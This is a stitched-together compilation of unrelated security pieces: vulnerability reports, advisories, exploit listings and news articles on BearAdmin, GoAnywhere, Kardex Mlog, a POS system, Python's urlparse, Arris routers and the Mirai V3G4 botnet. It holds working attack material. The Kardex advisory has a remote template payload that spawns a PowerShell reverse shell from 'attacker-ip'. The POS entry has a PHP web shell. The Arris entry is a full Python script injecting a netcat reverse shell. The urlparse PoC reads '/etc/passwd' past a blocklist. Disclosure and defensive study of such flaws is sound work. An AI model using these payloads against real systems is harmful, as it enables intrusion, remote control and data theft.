File Upload Vulnerability in Yupoxion BearAdmin before commit 10176153528b0a914eb4d726e200fd506b73b075 allows attacker to execute arbitrary remote code via the Upfile function of the extend/tools/Ueditor endpoint.

In application/admin/controller/EditorController.php, it handles editor file upload through server function  
  
And then in extend/tools/UEditor.php function upFile,  
  
it does not check the extension of the file then save it to local storage.  
so when upload a file/image/vedio，we can upload a PHP file to getshell.  

I test this vulnerability in your demo, and demonstrate it exist, please fix it as soon as possible.

CVE-2021-35261: Unrestrict File Upload to RCE vulnerability Find in BearAdmin · Issue #16 · yupoxiong/BearAdmin

Weeks after an exploit was first announced in a popular cloud-based file transfer service, could some organizations still be vulnerable? The answer is yes.

Last week, the Cybersecurity and Infrastructure Security Agency (CISA) added three new entries to its Known Exploited Vulnerabilities catalog. Among them was CVE-2023-0669, a bug that has paved the way for exploits and follow-on ransomware attacks against hundreds of organizations in recent weeks.

The bug was discovered in GoAnywhere, a Windows-based file-sharing software from Fortra, formerly HelpSystems. According to its website, GoAnywhere is used at more than 3,000 organizations to manage documents of all kinds. According to data from Enlyft, most of those are large organizations — with at least 1,000 and, often, more than 10,000 employees — mostly based in the United States.

The bug tracked as CVE-2023-0669 allows hackers to remotely execute code in target systems, through the internet, without need for authentication. As of this writing, this vulnerability has not yet received an official CVSS rating from the National Vulnerability Database.

But we need not wonder about how dangerous it is, as hackers have already pounced. On Feb. 10 — days after Fortra released a patch — the Clop ransomware gang claimed to have exploited CVE-2023-0669 in over 130 organizations.

After three weeks and counting, it's unclear whether or not more organizations are still at risk.

**Timeline of the GoAnywhere Exploit(s)**

On Feb. 2, two abnormal commands triggered alerts in an IT environment monitored by endpoint detection and response (EDR) vendor Huntress. Both were executed on a host designated for processing transactions on the GoAnywhere platform, though the significance of this wasn't clear yet.

"At first glance, the alert itself was fairly generic," wrote Joe Slowik, threat intelligence manager for Huntress. "But further analysis revealed a more interesting set of circumstances."

An entity on this alerted network had attempted to download a file from a remote resource. Slowik and his colleagues tried to access the file themselves, but by then the port used to download it had been closed up. "We don't really know for certain why," Slowik tells Dark Reading. "It's possible that the adversary was working at a very rapid clip."

They did have the IP address of that entity, however, which traced back to Bulgaria, and was flagged as malicious by VirusTotal. The actor seemed to be from outside of the organization, and had used their first command to download and run a dynamic link library (DLL) file.

"Knowing that the DLL was also executed further raised the risk level of the incident," Slowik says, "since if it was malware that was downloaded, it is now running on the system."

There were other signs, too, that this was a compromise. But even after isolating the relevant server, a second server at the targeted organization became infected. "We were worried that we had a very persistent adversary," Slowik recalls.

The researchers still lacked a copy of the downloaded malware, but all of the evidence surrounding it seemed to accord with activity previously associated with a malware family called Truebot. "The post in the URI structure that was used mapped to earlier Truebot samples," Slowik says. "The DLL exports that were referenced in order to launch the malware, or similar to historical tripod samples, as well as some strings and code structures, all matched. Within the samples themselves, all of it aligned very nicely with what had previously been reported in 2022 for Truebot."

Truebot has been linked to a prolific Russian group called TA505. Notably, TA505 has utilized the ransomware-as-a-service (RaaS) malware "Clop" in previous attacks.

On the same day as Slowik's investigation, reporter Brian Krebs publicly republished an advisory Fortra had sent to its users the day before. GoAnywhere was being exploited, its developers explained, and they were implementing a temporary service outage in response.

Whatever mitigations were taken weren't enough. On Feb. 10, hackers behind the Clop ransomware told Bleeping Computer that they’d used the GoAnywhere exploit to breach over more than organizations.

**How CVE-2023-0669 Works**

CVE-2023-0669 is a cross-site request forgery (CSRF) but that arises from how unpatched GoAnywhere users install their software licenses.

Interestingly, it was as much a design choice as an oversight. "Typically, installing a license involves downloading a license file from a server and uploading it to your device," explains Ron Bowes, lead security researcher for Rapid7, who released the most detailed publicized analysis of how an internal user could trigger the exploit. "Fortra chose to make that whole process transparent, where the license is delivered through the administrator's browser. That means the user gets a much smoother experience."

However, that seamlessness came at a cost. "There is no CSRF protection (and the cookie is not actually required, so no authentication is required to exploit this issue)," Bowes explained in his analysis. "That means that this can, by design, be exploited via cross-site request forgery."

In its report, Rapid7 labeled the exploitability of this vulnerability as "very high."

"While the administration port should not be exposed to the internet," Bowes says, "it's very easy to configure it that way by mistake. And once an attacker understands the vulnerability, it can be exploited without any risk of crashing the application or corrupting data."

Rapid7 also labeled "very high" the value of such an exploit to an attacker. As Bowes explains, "due to the nature of the application (managed file transfer, or MFT), it's common for a GoAnywhere MFT server to sit on a network perimeter and to have the file transfer ports publicly exposed. This makes it a good target for both pivoting into an organization's internal network, and/or stealing potentially sensitive data directly off the target."

On Feb. 6, Fortra fixed CVE-2023-0669 "by adding what they call a 'license request token,'" Bowes explains, "which is included in the encrypted request to Fortra's server. It behaves exactly as a CSRF token would, preventing an attacker from leveraging an administrator's browser."

**What to Do Now**

As severe as the exploit is, only a fraction of GoAnywhere customers are vulnerable to outside hackers through CVE-2023-0669. However, even those without Internet-exposed GoAnywhere instances are still vulnerable to internal users or attackers who have gained initial compromise to a network via regular Web browsers.

The bug can be exploited remotely if an organization’s GoAnywhere administration port — 8000 or 8001 — is exposed on the Internet. As of last week, more than 1,000 GoAnywhere instances were exposed, but, Bleeping Computer explained, only 135 of those pertained to the relevant ports 8000 and 8001. Most of those vulnerable seem to have already been swept up in one big campaign by the Clop group.

"We urgently advise all GoAnywhere MFT customers to apply this patch," Fortra wrote in another advisory to its internal customers. "Particularly for customers running an admin portal exposed to the Internet, we consider this an urgent matter."

Massive GoAnywhere RCE Exploit: Everything You Need to Know

Kardex Mlog MCC version 5.7.12+0-a203c2a213-master suffers from a file inclusion vulnerability that allows for remote code execution.

Remote Code Execution in Kardex MLOG  
=======================================================================  
       Product: Kardex Mlog MCC  
         Vendor: Kardex Holding AG  
      Tested Version: 5.7.12+0-a203c2a213-master  
         Fixed Version: inline patch - no new version number  
         Vulnerability Type: Improper Control of Generation of Code ("RFI") - CWE-94  
     CVSSv2 Severity: AV:A/AC:L/Au:N/C:C/I:C/A:C - Score 8.3  
            CVSSv3 Severity: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Score 9.6  
            Solution Status: fixed  
  Manufacturer Notification: 2022-12-13  
       Solution Date: 2023-01-24  
   Public Disclosure: 2023-02-07  
       CVE Reference: CVE-2023-22855  
        Authors of Advisory: Patrick Hener & Nico Viakowski

=======================================================================

Vendor description[1]  
---------------------

Kardex Mlog’s modular software solution Kardex Control Center manages material  
flow and warehouse management processes faster and more efficiently.

 From manual block warehouse and interface networking with intelligent partner  
systems to an automated intralogistics system connected to production lines and  
driverless vehicles, intelligent energy management for the automated stacker  
cranes and modern system visualization, the Kardex Control Center modules offer  
flexible solutions for your warehouse management.

Vulnerability Details  
---------------------

The .NET based software spawns a web interface listening on port 8088.  
This interface is meant to control and monitor the material flow.

The user controllable path is handed to a path concatenation function  
(`Path.Combine`) without proper sanitization. This yields the possibility to  
include local files, as well as remote files (SMB). The path is used in a  
function called `getFile`.

The following code snippet shows the vulnerable part of this function:

```cs  
public MccHttpServerResult GetFile(string path, string acceptEncoding, string queryString = null)  
  {  
    MccHttpServerResult result4;

[... snip ...]

else  
{  
  string getfileName = (path == "/") ? "index.html" : path.Substring(1).Replace("/", Path.DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture));  
  string fileName = Path.Combine(this.RootDirectory(), getfileName);  
  string originalFileName = fileName;  
```

The .Net function `Path.Combine` also is able to concatenate remote targets. For  
example using `\\ipaddress` you can include files from a remote samba server.

Further down the request flow, the application is checking for the MIME type of  
the file retrieved.

Depending on the MIME type the content is either sent through a  
import/export procedure or rendered as `mono/t4` template. The function  
`getMimeType` will return `t4` if the included file is ending with an extension  
of `.t4`.

This is where the File Inclusion can be escalated to a Remote Code Execution.  
The `mono/t4` templating engine allows the use of `C#` to evaluate code.  
This enables an attacker to gain code execution and eventually spawn a reverse  
shell.

```cs  
bool flag15 = File.Exists(fileName);  
  if (flag15)  
    {  
    using (FileStream f = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))  
    {  
      byte[] bytes = new byte[f.Length];  
      f.Read(bytes, 0, bytes.Length);  
      bool flag16 = mime2 == "t4";  
      if (flag16)  
        {  
          return this.runTemplatingEngine(bytes, responseHeaders, queryString);  
        }  
```

Proof of Concept (PoC)  
----------------------

The following request will include a remote file from an smb share. For this to  
work the attacker has to spawn an smb server (for example using `smbserver.py`  
from Impacket[2]).

```  
GET /\\attacker-ip/share/exploit.t4 HTTP/1.1  
Host: vulnerable.host.internal:8088  
Content-Type: text/html  
User-Agent: curl/7.86.0  
Accept: */*  
Connection: close  
```

The `exploit.t4` looks like this:

```html  
<#@ template language="C#" #>  
<#@ Import Namespace="System" #>  
<#@ Import Namespace="System.Diagnostics" #>

Proof of Concept - SSTI to RCE  
RCE running ...

<#  
var proc1 = new ProcessStartInfo();  
string anyCommand;  
anyCommand = "powershell -e revshell-base64-blob";

proc1.UseShellExecute = true;  
proc1.WorkingDirectory = @"C:\Windows\System32";  
proc1.FileName = @"C:\Windows\System32\cmd.exe";  
proc1.Verb = "runas";  
proc1.Arguments = "/c "+anyCommand;  
Process.Start(proc1);  
#>

Enjoy your shell, good sir :D  
```

The exploit above will execute `cmd.exe` and launch a `powershell` to execute  
a reverse shell. You can easily generate a reverse shell blob using  
revshells.com[3].

A full exploit spawning a reverse shell was created[4].

Solution  
--------

The user supplied data should be sanitized before using it in the `Path.Combine`  
function.

Disclosure Timeline  
-------------------

2022-12-13: Vulnerability discovered  
2022-12-13: Vulnerability reported to manufacturer  
2023-01-24: Solution provided by manufacturer  
2023-02-07: Public disclosure of vulnerability

References  
----------

[1] Vendor Website:https://www.kardex.com/en/mlog-control-center  
[2] Impacket Git Repository:https://github.com/SecureAuthCorp/impacket  
[3] Reverse Shell Generator:https://www.revshells.com/  
[4] Exploit on Exploit-DB (tbd):https://www.exploit-db.com/exploits/xxxxx    
[5] Blog Post Advisory:https://hesec.de/posts/cve-2023-22855     
[6] Personal Github Repo for Advisory:https://github.com/patrickhener/CVE-2023-22855     
[7] Blog Post Thinking Objects:https://to.com/blog/advisory-kardex-mlog-CVE-2023-22855   

Credits  
-------

This security vulnerability was found by Patrick Hener and Nico Viakowski.

E-Mail:patrickhener@posteo.de  
E-Mail:n.viakowski@pm.me  

Disclaimer  
----------

The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible.

Copyright  
---------

Creative Commons - Attribution (by) - Version 3.0  
URL:http://creativecommons.org/licenses/by/3.0/deed.en

Kardex Mlog MCC 5.7.12+0-a203c2a213-master File Inclusion / Remote Code Execution

Best POS Management System version 1.0 suffers from a remote shell upload vulnerability.

    # Exploit Title: Authenticated Remote Code Execution on File Upload# Google Dork: NA# Date: 17/2/2023# Exploit Author: Ahmed Ismail (@MrOz1l)# Vendor Homepage:https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html# Software Link:https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip# Version: 1.0# Tested on: Windows 11# CVE : NA### Steps to Reproduce1- Login as Admin Rule2- Head to " http://localhost/kruxton/index.php?page=site_settings"3- Try to Upload an image here it will be a shell.php```shell.php``````<?php system($_GET['cmd']); ?>4- Head to http://localhost/kruxton/assets/uploads/5- Access your uploaded Shellhttp://localhost/kruxton/assets/uploads/1676627880_shell.png.php?cmd=whoami

Best POS Management System 1.0 Shell Upload

An issue in the urllib.parse component of Python before v3.11 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters.

**Timelines**

07/20/2022: Issue first discoverd

08/03/2022: Report sent to security@python.org

08/25/2022: One staff wrote: “I personally agree this should probably be improved, we’ll see if I can convince the others. They’ll likely say we need to work through it publicly”

09/30/2022: Report accepted by CERT. (VU#127587)

11/12/2022: Issue is accidently fixed https://github.com/python/cpython/issues/99418. But the exploit is still private.

01/20/2023: Article published and apply for a CVE number.

**Summary**

urllib.parse is a very basic and widely used basic URL parsing function in various applications. One of Python’s core functions, urlparse, has a parsing problem when the entire URL starts with blank characters. This problem affects both the parsing of hostname and scheme, and eventually causes any blocklisting methods to fail.

This vulnerability is applicable to all python version before 3.11.

**Affected Module:**

urllib (https://github.com/python/cpython/tree/3.11/Lib/urllib)

**Relevant Package Manager/Ecosystem**

https://docs.python.org/3/library/urllib.html

**Root Cause of the Problems**

File Name: \\Python\\Python39\\Lib\\urllib\\parse.py

def urlparse(url, scheme='', allow\_fragments=True):
    """Parse a URL into 6 components:
    <scheme>://<netloc>/<path>;<params>?<query>#<fragment>

    The result is a named 6-tuple with fields corresponding to the
    above. It is either a ParseResult or ParseResultBytes object,
    depending on the type of the url parameter.

    The username, password, hostname, and port sub-components of netloc
    can also be accessed as attributes of the returned object.

    The scheme argument provides the default value of the scheme
    component when no scheme is found in url.

    If allow\_fragments is False, no attempt is made to separate the
    fragment component from the previous component, which can be either
    path or query.

    Note that % escapes are not expanded.
    """
    url, scheme, \_coerce\_result = \_coerce\_args(url, scheme)
    splitresult = urlsplit(url, scheme, allow\_fragments)
    scheme, netloc, url, query, fragment = splitresult
    if scheme in uses\_params and ';' in url:
        url, params = \_splitparams(url)
    else:
        params = ''
    result = ParseResult(scheme, netloc, url, params, query, fragment)
    return \_coerce\_result(result)

The urlparse() function itself is more like a wrapper function. The mean function to process the URL is urlsplit() inside the same file.

def urlsplit(url, scheme=”, allow\_fragments=True):  
“””Parse a URL into 5 components:  
:///?#

def urlsplit(url, scheme='', allow\_fragments=True):
    """Parse a URL into 5 components:
    <scheme>://<netloc>/<path>?<query>#<fragment>

    The result is a named 5-tuple with fields corresponding to the
    above. It is either a SplitResult or SplitResultBytes object,
    depending on the type of the url parameter.

    The username, password, hostname, and port sub-components of netloc
    can also be accessed as attributes of the returned object.

    The scheme argument provides the default value of the scheme
    component when no scheme is found in url.

    If allow\_fragments is False, no attempt is made to separate the
    fragment component from the previous component, which can be either
    path or query.

    Note that % escapes are not expanded.
    """

    url, scheme, \_coerce\_result = \_coerce\_args(url, scheme)

    for b in \_UNSAFE\_URL\_BYTES\_TO\_REMOVE:
        url = url.replace(b, "")
        scheme = scheme.replace(b, "")

    allow\_fragments = bool(allow\_fragments)
    key = url, scheme, allow\_fragments, type(url), type(scheme)
    cached = \_parse\_cache.get(key, None)
    if cached:
        return \_coerce\_result(cached)
    if len(\_parse\_cache) >= MAX\_CACHE\_SIZE: # avoid runaway growth
        clear\_cache()
    netloc = query = fragment = ''
    i = url.find(':')
    if i > 0:
        for c in url\[:i\]:
            if c not in scheme\_chars:
                break
        else:
            scheme, url = url\[:i\].lower(), url\[i+1:\]

    if url\[:2\] == '//':
        netloc, url = \_splitnetloc(url, 2)
        if (('\[' in netloc and '\]' not in netloc) or
                ('\]' in netloc and '\[' not in netloc)):
            raise ValueError("Invalid IPv6 URL")
    if allow\_fragments and '#' in url:
        url, fragment = url.split('#', 1)
    if '?' in url:
        url, query = url.split('?', 1)
    \_checknetloc(netloc)
    v = SplitResult(scheme, netloc, url, query, fragment)
    \_parse\_cache\[key\] = v
    return \_coerce\_result(v)

On line 24, the **\_UNSAFE\_URL\_BYTES\_TO\_REMOVE** list is good for prevent injection.

    for b in _UNSAFE_URL_BYTES_TO_REMOVE:
            url = url.replace(b, "")
            scheme = scheme.replace(b, "")

On line 39, the content of scheme\_chars is below:

    if i > 0:
            for c in url[:i]:
                if c not in scheme_chars:
                    break
            else:
                scheme, url = url[:i].lower(), url[i+1:]

**Since it is a for-else structure, once there is any char not in _scheme\_chars,_ scheme and url will not be assigned by the parsed value.**

Therefore, Scheme will be blank and URL will be the whole string.

Going forward, the condition of _if url\[:2\] == ‘//’:_ will not hold anymore (for normal URL, it will be true because the URL will be assigned as url\[i+1:\] in the previous else clause)

Therefore, netloc and

    if url[:2] == '//':
            netloc, url = _splitnetloc(url, 2)
            if (('[' in netloc and ']' not in netloc) or
                    (']' in netloc and '[' not in netloc)):
                raise ValueError("Invalid IPv6 URL")

Then, on line 54, this is a function to concatenate each component

    v = SplitResult(scheme, netloc, url, query, fragment)

    class SplitResult(_SplitResultBase, _NetlocResultMixinStr):
        __slots__ = ()
        def geturl(self):
            return urlunsplit(self)

    def urlunsplit(components):
        """Combine the elements of a tuple as returned by urlsplit() into a
        complete URL as a string. The data argument can be any five-item iterable.
        This may result in a slightly different, but equivalent URL, if the URL that
        was parsed originally had unnecessary delimiters (for example, a ? with an
        empty query; the RFC states that these are equivalent)."""
        scheme, netloc, url, query, fragment, _coerce_result = (
                                              _coerce_args(*components))
        if netloc or (scheme and scheme in uses_netloc and url[:2] != '//'):
            if url and url[:1] != '/': url = '/' + url
            url = '//' + (netloc or '') + url
        if scheme:
            url = scheme + ':' + url
        if query:
            url = url + '?' + query
        if fragment:
            url = url + '#' + fragment
        return _coerce_result(url)

Since the previous pre-processing are all failed, the whole URL will be regraded as path and other components will be regraded as blank.

As a final result, the parsed result of parsed = urlparse(“\*https://google.com”), will be

abnormal case of urlparse(“\*https://google.com”)

normal case of urlparse(”https://google.com”)

**As an intermediate conclusion, we know that chars not in scheme\_chars will cause urlparse() function to misinterpret results, impacting nearly every field including hostname and scheme.**

However, so far the results is just interesting but not impressive because the URL isn’t really visible.

urllib.request.urlopen("*<https://google.com>") gives us a

_urllib.error.URLError: <urlopen error unknown url type: \*https> error_

After some research, I found **blank** is magic characters helping us to achieve our goal that makes our URL visitable but at same time gives urlparse() a misbehaved result.

For urlopen, the step extracting scheme happening in

    def _splittype(url):
        """splittype('type:opaquestring') --> 'type', 'opaquestring'."""
        global _typeprog
        if _typeprog is None:
            _typeprog = re.compile('([^/:]+):(.*)', re.DOTALL)
    
        match = _typeprog.match(url)
        if match:
            scheme, data = match.groups()
            return scheme.lower(), data
        return None, url

but before entering this step, the URL will be go through

    def full_url(self, url):
            # unwrap('<URL:type://host/path>') --> 'type://host/path'
            self._full_url = unwrap(url)
            self._full_url, self.fragment = _splittag(self._full_url)
            self._parse()

    def unwrap(url):
        """Transform a string like '<URL:scheme://host/path>' into 'scheme://host/path'.
    
        The string is returned unchanged if it's not a wrapped URL.
        """
        url = str(url).strip()
        if url[:1] == '<' and url[-1:] == '>':
            url = url[1:-1].strip()
        if url[:4] == 'URL:':
            url = url[4:].strip()
        return url

the strip function gets rid of the leading blank(s). so that it behave normally.

For request library, there is also a similar function to process URL

    def prepare_url(self, url, params):
            """Prepares the given HTTP URL."""
            #: Accept objects that have string representations.
            #: We're unable to blindly call unicode/str functions
            #: as this will include the bytestring indicator (b'')
            #: on python 3.x.
            #: https://github.com/psf/requests/pull/2238
            if isinstance(url, bytes):
                url = url.decode('utf8')
            else:
                url = unicode(url) if is_py2 else str(url)
    
            # Remove leading whitespaces from url
            url = url.lstrip()

the lstrip function also gets rid of the leading blank(s). so that it behave normally.

Since those are two most prevailing libraries in Python, this vulnerability is already very applicable in many cases and situations.

(NOTE: leading blanks are also valid in current mainstream browsers but It will still fail on urllib3 because there is no similar strip() on it. )

**PoCs**

    import urllib.request
    from urllib.parse import urlparse
    
    def safeURLOpener(inputLink):
        block_schemes = ["file", "gopher", "expect", "php", "dict", "ftp", "glob", "data"]
        block_host = ["instagram.com", "youtube.com", "tiktok.com"]
    
        input_scheme = urlparse(inputLink).scheme
        input_hostname = urlparse(inputLink).hostname
    
        if input_scheme in block_schemes:
            print("input scheme is forbidden")
            return
    
        if input_hostname in block_host:
            print("input hostname is forbidden")
            return
    
        target = urllib.request.urlopen(inputLink)
        content = target.read()
        print(content)
    
    
    def main():
        safeURLOpener(" https://youtube.com")
        safeURLOpener(" file://127.0.0.1/etc/passwd")
        safeURLOpener(" data://text/plain,<?php phpinfo()?>")
        safeURLOpener(" expect://whoami")

**Impact**

I personally think the impact of this vulnerability is huge because this urlparse() library is widely used. Although blocklist is considered an inferior choice, there are many scenarios where blocklist is still needed. This vulnerability would help an attacker to bypass the protections set by the developer for scheme and host. This vulnerability can be expected to help SSRF and RCE in a wide range of scenarios.

Google has accepted my similar report regarding android’s URL parse function and gave a moderate severity since it does affect a number of their own open source project. In the case of Python, I believe the impact may be wider.

**Mitigation**

Community should also add strip() function before processing the URL, thereby eliminating this inconsistency.

CVE-2023-24329: Python URL Parse Problem – PointerNull

Arris TG2482A firmware through 9.1.103GEM9 allow Remote Code Execution (RCE) via the ping utility feature.

    c# Exploit Title: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated)# Date: 17/11/2022# Exploit Author: Yerodin Richards# Vendor Homepage: https://www.commscope.com/# Version: 9.1.103# Tested on: TG2482A, TG2492, SBG10# CVE : CVE-2022-45701import requestsimport base64router_host = "http://192.168.0.1"username = "admin"password = "password"lhost = "192.168.0.6"lport = 80def main():    print("Authorizing...")    cookie = get_cookie(gen_header(username, password))    if cookie == '':        print("Failed to authorize")        exit(-1)    print("Generating Payload...")    payload = gen_payload(lhost, lport)    print("Sending Payload...")    send_payload(payload, cookie)    print("Done, check shell..")def gen_header(u, p):    return base64.b64encode(f"{u}:{p}".encode("ascii")).decode("ascii")def no_encode_params(params):    return  "&".join("%s=%s" % (k,v) for k,v in params.items())def get_cookie(header):    url = router_host+"/login"    params = no_encode_params({"arg":header, "_n":1})    resp=requests.get(url, params=params)    return resp.content.decode('UTF-8')def set_oid(oid, cookie):    url = router_host+"/snmpSet"    params = no_encode_params({"oid":oid, "_n":1})    cookies = {"credential":cookie}    requests.get(url, params=params, cookies=cookies)def gen_payload(h, p):    return f"$\(nc%20{h}%20{p}%20-e%20/bin/sh)"def send_payload(payload, cookie):    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.1.0=16;2;", cookie)    set_oid(f"1.3.6.1.4.1.4115.1.20.1.1.7.2.0={payload};4;", cookie)    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.3.0=1;66;", cookie)    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.4.0=64;66;", cookie)    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.5.0=101;66;", cookie)    set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.9.0=1;2;", cookie)    if __name__ == '__main__':    main()

CVE-2022-45701: Arris Router Firmware 9.1.103 Remote Code Execution ≈ Packet Storm

Hey 👋 there, cyber friends!
Welcome to this week's cybersecurity newsletter, where we aim to keep you informed and empowered in the ever-changing world of cyber threats.
In today's edition, we will cover some interesting developments in the cybersecurity landscape and share some insightful analysis of each to help you protect yourself against potential attacks.
1. Apple 📱 Devices Hacked with

Hey 👋 there, cyber friends!

Welcome to **this week's cybersecurity newsletter**, where we aim to keep you informed and empowered in the ever-changing world of cyber threats.

In today's edition, we will cover some interesting developments in the cybersecurity landscape and share some insightful analysis of each to help you protect yourself against potential attacks.

****1\. Apple 📱 Devices Hacked with New Zero-Day Bug - Update ASAP!****

Have you updated your Apple devices lately? If not, it's time to do so, as the tech giant just released security updates for iOS, iPadOS, macOS, and Safari. The update is to fix a zero-day vulnerability that hackers have been exploiting.

This vulnerability, tracked as CVE-2023-23529, is related to a type confusion bug in the WebKit browser engine. What does this mean? Well, it means that if you visit a website with malicious code, the bug can be activated, leading to arbitrary code execution. In other words, hackers can take control of your device and access all your data.

It's scary to think that simply visiting a website could lead to a security breach. This is why it's essential to keep your devices updated with the latest security patches.

****2\. Don't Be the Next Victim: ESXiArgs Ransomware 💥 Strikes 500+ New European Targets****

In a recent discovery by cybersecurity firm Censys, more than 500 hosts have fallen victim to the ESXiArgs ransomware strain. Most of these compromised hosts are located in France, Germany, the Netherlands, the U.K., and Ukraine. What's particularly concerning is that Censys found two hosts with ransom notes dating back to mid-October 2022, shortly after ESXi versions 6.5 and 6.7 reached their end of life.

This means that the attackers behind ESXiArgs have been active for several months, and were able to gain a foothold in these hosts during a time when they were no longer receiving security updates or patches. It also shows that ransomware attacks can take a while to gain traction, and can often go undetected for months before they are discovered.

What's even more alarming is that the ransom notes on the two hosts were updated on January 31, 2023, with a revised version that matches the ones used in the current wave of attacks. This suggests that the attackers have been refining their tactics and improving their ransomware strain to make it more effective.

Ransomware attacks like ESXiArgs can be devastating for organizations, causing data loss, financial losses, and reputational damage. It's important for organizations to stay vigilant and ensure that their systems are always up to date with the latest security patches and updates.

Additionally, having a solid backup and disaster recovery plan can help organizations quickly recover from an attack and minimize its impact.

****3\. DDoS Attack Breaks Record - 71 Million 😮 Requests Per Second!****

Cloudflare, a web infrastructure company, has reported that they have successfully stopped a massive distributed denial-of-service (DDoS) attack. This attack, which peaked at over 71 million requests per second, is the largest HTTP DDoS attack that has been recorded so far, breaking the previous record of 46 million requests per second.

The attack was so large that Cloudflare has dubbed it a "hyper-volumetric" DDoS attack. The attack was targeted at websites that were secured by Cloudflare's platform, and it is believed that the attack originated from a botnet that was made up of more than 30,000 IP addresses from various cloud providers.

This attack is a reminder that DDoS attacks remain a significant threat to websites and online services, and it is crucial for companies to have robust security measures in place to protect against such attacks.

  
**Subscribe to our Daily Newsletters**

We hope you've been enjoying our weekly cybersecurity newsletter as much as we love making it informative and easy to understand. But, we also understand the importance of staying on top of the latest threats and vulnerabilities that can harm your digital life.

That's why we highly recommend subscribing to our daily news updates via email. You'll receive the latest cybersecurity news, insights, resources, offers and analysis straight to your inbox every day.

It's free – Subscribe Now!

****4\. Microsoft 🖥️ Releases Urgent Patches - Update Your Windows ASAP!****

Microsoft has been busy this week, releasing security updates to fix a whopping 75 vulnerabilities in its products. That's a lot of potential ways for cybercriminals to wreak havoc on our devices and systems!

Three of the flaws have already been exploited in the wild, so it's crucial that users update their software as soon as possible. In total, nine of the vulnerabilities are rated as Critical, which means they could allow attackers to take over a device remotely.

But wait, there's more! 37 of the flaws are what are known as remote code execution (RCE) vulnerabilities. These are particularly dangerous because they allow attackers to execute code on a victim's device without any interaction or permission.

So, if you're using any Microsoft products, it's best to update them as soon as possible.

****5\. Linux 🐧 and IoT Devices Under Attack by V3G4 Mirai Botnet****

A new variant of the infamous Mirai botnet has been spotted wreaking havoc in the world of Linux and IoT devices. This new version, dubbed V3G4 by the experts at Palo Alto Networks Unit 42, is making use of 13 security vulnerabilities to spread itself far and wide.

As we know, the Mirai botnet has a notorious history, having been responsible for several high-profile attacks in the past. This new variant only serves to underscore the importance of keeping our devices and systems up to date with the latest security patches and measures.

****6\. Your Favorite Apps Could be Carrying a Dangerous Virus - 🚨 Stay Alert!****

Cybercriminals have launched a new type of attack targeting Chinese-speaking individuals in Southeast and East Asia. Using rogue Google Ads, they are tricking people looking for popular applications like Google Chrome, WhatsApp, and Skype and directing them to fake websites that download malware onto their machines.

The attacks are particularly insidious because they use seemingly legitimate Google Ads to lure in victims. The malware being downloaded is a remote access trojan called FatalRAT, which gives the attackers complete control over the infected machine.

Security researchers are urging people to be cautious when downloading applications, especially from unfamiliar websites.

  
**The Hacker News / Upcoming Webinars**

Are you tired of falling victim to file-based threats and not knowing how to protect your sensitive data? Or are you struggling to keep up with the ever-evolving security challenges of SaaS applications?

Well, have no fear because we have two exciting webinars coming up that will help you bust some common myths and tackle the top security challenges of 2023!

*   Our first webinar, "**A MythBusting Special: 9 Myths about File-based Threats**", will help you separate fact from fiction when it comes to file-based threats. You'll learn the truth about what they are, how they work, and most importantly, how to prevent them from infiltrating your systems.
*   And if you're a fan of SaaS applications but find yourself grappling with security issues, then our second webinar, "**How to Tackle the Top SaaS Security Challenges of 2023**", is the one for you! Our experts will walk you through the most pressing security challenges of 2023, and provide practical tips to help you stay ahead of the game.

Both of these webinars are free and packed with valuable information that you won't want to miss. **So, don't wait - sign up now and join us for an informative and engaging cybersecurity discussion!**

Well folks, that's all for this week's cybersecurity newsletter.

As always, remember that cybersecurity is not just a one-time event or a quick fix. Whether it's using strong passwords, regularly updating your software, or staying aware of phishing scams, every small action can make a big difference in safeguarding your online security.  
So keep those firewalls up, keep those updates coming, and let's continue to stay curious, stay vigilant, and stay safe in the ever-changing digital landscape.

And above all, remember that cybersecurity is a community effort. We appreciate your readership and feedback and are always here to answer your questions and address your concerns. Please let us know if you have any suggestions for topics you'd like us to cover in future newsletters.

Thank you for joining us on this cybersecurity journey, and we look forward to sharing more insights and updates with you in the weeks ahead. Until next time, stay cyber-secure!

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

⚡Top Cybersecurity News Stories This Week — Cybersecurity Newsletter

A new variant of the notorious Mirai botnet has been found leveraging several security vulnerabilities to propagate itself to Linux and IoT devices.
Observed during the second half of 2022, the new version has been dubbed V3G4 by Palo Alto Networks Unit 42, which identified three different campaigns likely conducted by the same threat actor.
"Once the vulnerable devices are compromised, they

IoT Security / Cyber Attack

A new variant of the notorious Mirai botnet has been found leveraging several security vulnerabilities to propagate itself to Linux and IoT devices.

Observed during the second half of 2022, the new version has been dubbed **V3G4** by Palo Alto Networks Unit 42, which identified three different campaigns likely conducted by the same threat actor.

"Once the vulnerable devices are compromised, they will be fully controlled by attackers and become a part of the botnet," Unit 42 researchers said. "The threat actor has the capability to utilize those devices to conduct further attacks, such as distributed denial-of-service (DDoS) attacks."

The attacks primarily single out exposed servers and networking devices running Linux, with the adversary weaponizing as many as 13 flaws that could lead to remote code execution (RCE).

Some of the notable flaws relate to critical flaws in Atlassian Confluence Server and Data Center, DrayTek Vigor routers, Airspan AirSpot, and Geutebruck IP cameras, among others. The oldest flaw in the list is CVE-2012-4869, an RCE bug in FreePBX.

Following a successful compromise, the botnet payload is retrieved from a remote server using the wget and cURL utilities.

The botnet, in addition to checking if it's already running on the infected machine, also takes steps to terminate other competing botnets such as Mozi, Okami, and Yakuza.

V3G4 further packs a set of default or weak login credentials that it uses to carry out brute-force attacks through Telnet/SSH and proliferate to other machines.

It also establishes contact with a command-and-control server to await commands for launching DDoS attacks against targets via UDP, TCP, and HTTP protocols.

"The vulnerabilities mentioned above have less attack complexity than previously observed variants, but they maintain a critical security impact that can lead to remote code execution," the researchers said.

To stave off such attacks, it's recommended that users apply necessary patches and updates as and when they become applicable, and secure the devices with strong passwords.

